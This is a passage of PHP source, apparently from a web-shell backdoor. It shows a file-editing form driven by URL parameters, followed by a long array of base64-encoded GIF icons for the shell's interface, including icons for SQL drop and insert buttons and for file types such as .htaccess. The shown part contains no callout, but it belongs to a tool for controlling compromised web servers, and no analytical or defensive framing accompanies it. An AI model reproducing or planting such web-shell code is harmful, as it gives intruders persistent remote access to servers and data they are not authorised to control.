2704 ",$r));
2705    if ($rows < 10) {$rows = 10;}
2706    if ($rows > 30) {$rows = 30;}
2707    echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
2708   }
2709   elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
2710   else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
2711  }
2712 }
2713 }
2714 else
2715 {
2716  @ob_clean();
2717  $images = array(
2718 "arrow_ltr"=>
2719 "R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
2720 "SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
2721 "back"=>
2722 "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
2723 "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
2724 "Wg0JADs=",
2725 "buffer"=>
2726 "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
2727 "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
2728 "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
2729 "change"=>
2730 "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
2731 "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
2732 "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
2733 "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
2734 "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
2735 "zMshADs=",
2736 "delete"=>
2737 "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
2738 "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
2739 "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
2740 "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
2741 "ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
2742 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2743 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
2744 "BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
2745 "STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
2746 "BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
2747 "jwVFHBgiEGQFIgQasYkcSbJQIAA7",
2748 "download"=>
2749 "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
2750 "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
2751 "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
2752 "forward"=>
2753 "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
2754 "aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
2755 "WqsJADs=",
2756 "home"=>
2757 "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
2758 "AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
2759 "krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
2760 "VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
2761 "mode"=>
2762 "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
2763 "AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
2764 "2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
2765 "dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
2766 "refresh"=>
2767 "R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA".
2768 "AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY".
2769 "3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ".
2770 "R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=",
2771 "search"=>
2772 "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
2773 "/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
2774 "s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
2775 "AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
2776 "Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
2777 "setup"=>
2778 "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
2779 "QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
2780 "ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
2781 "qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
2782 "OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
2783 "small_dir"=>
2784 "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
2785 "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
2786 "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
2787 "small_unk"=>
2788 "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
2789 "p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
2790 "/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
2791 "/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
2792 "/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
2793 "wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
2794 "9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
2795 "66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
2796 "24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2797 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2798 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2799 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2800 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2801 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2802 "AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
2803 "aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
2804 "uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
2805 "yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
2806 "yAsokBkQADs=",
2807 "multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
2808 "pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
2809 "sort_asc"=>
2810 "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
2811 "SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
2812 "sort_desc"=>
2813 "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
2814 "SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
2815 "sql_button_drop"=>
2816 "R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
2817 "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2818 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
2819 "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
2820 "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
2821 "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
2822 "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
2823 "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
2824 "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
2825 "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
2826 "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
2827 "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
2828 "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
2829 "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
2830 "AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
2831 "AQEAOw==",
2832 "sql_button_empty"=>
2833 "R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
2834 "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2835 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
2836 "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
2837 "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
2838 "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
2839 "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
2840 "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
2841 "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
2842 "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
2843 "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
2844 "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
2845 "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
2846 "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
2847 "AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
2848 "sql_button_insert"=>
2849 "R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
2850 "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2851 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
2852 "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
2853 "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
2854 "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
2855 "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
2856 "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
2857 "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
2858 "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
2859 "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
2860 "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
2861 "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
2862 "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
2863 "AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
2864 "up"=>
2865 "R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
2866 "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
2867 "+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
2868 "IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
2869 "write"=>
2870 "R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
2871 "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
2872 "EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
2873 "LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
2874 "ext_asp"=>
2875 "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
2876 "/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
2877 "D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
2878 "ext_mp3"=>
2879 "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
2880 "aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
2881 "IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
2882 "ext_avi"=>
2883 "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
2884 "WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
2885 "PYXCyg+V2i44XeRmSfYqsGhAAgA7",
2886 "ext_cgi"=>
2887 "R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
2888 "DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
2889 "LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
2890 "Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
2891 "Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2892 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2893 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2894 "AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
2895 "BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
2896 "AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
2897 "RYtMAgEAOw==",
2898 "ext_cmd"=>
2899 "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
2900 "eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
2901 "dmrYAMn1onq/YKpjvEgAADs=",
2902 "ext_cpp"=>
2903 "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
2904 "WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
2905 "Eq7YrLDE7a4SADs=",
2906 "ext_ini"=>
2907 "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
2908 "aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
2909 "SnEjgPVarHEHgrB43JvszsQEADs=",
2910 "ext_diz"=>
2911 "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
2912 "/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
2913 "/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
2914 "/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
2915 "/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
2916 "pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
2917 "dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
2918 "9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
2919 "4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2920 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2921 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2922 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2923 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2924 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2925 "AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
2926 "C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
2927 "2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
2928 "CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
2929 "Ow==",
2930 "ext_doc"=>
2931 "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
2932 "WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
2933 "MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
2934 "ext_exe"=>
2935 "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
2936 "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
2937 "xhIAOw==",
2938 "ext_h"=>
2939 "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
2940 "WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
2941 "Wq/NknbbSgAAOw==",
2942 "ext_hpp"=>
2943 "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
2944 "WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
2945 "UqUagnbLdZa+YFcCADs=",
2946 "ext_htaccess"=>
2947 "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
2948 "WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
2949 "AAA7",
2950 "ext_html"=>
2951 "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
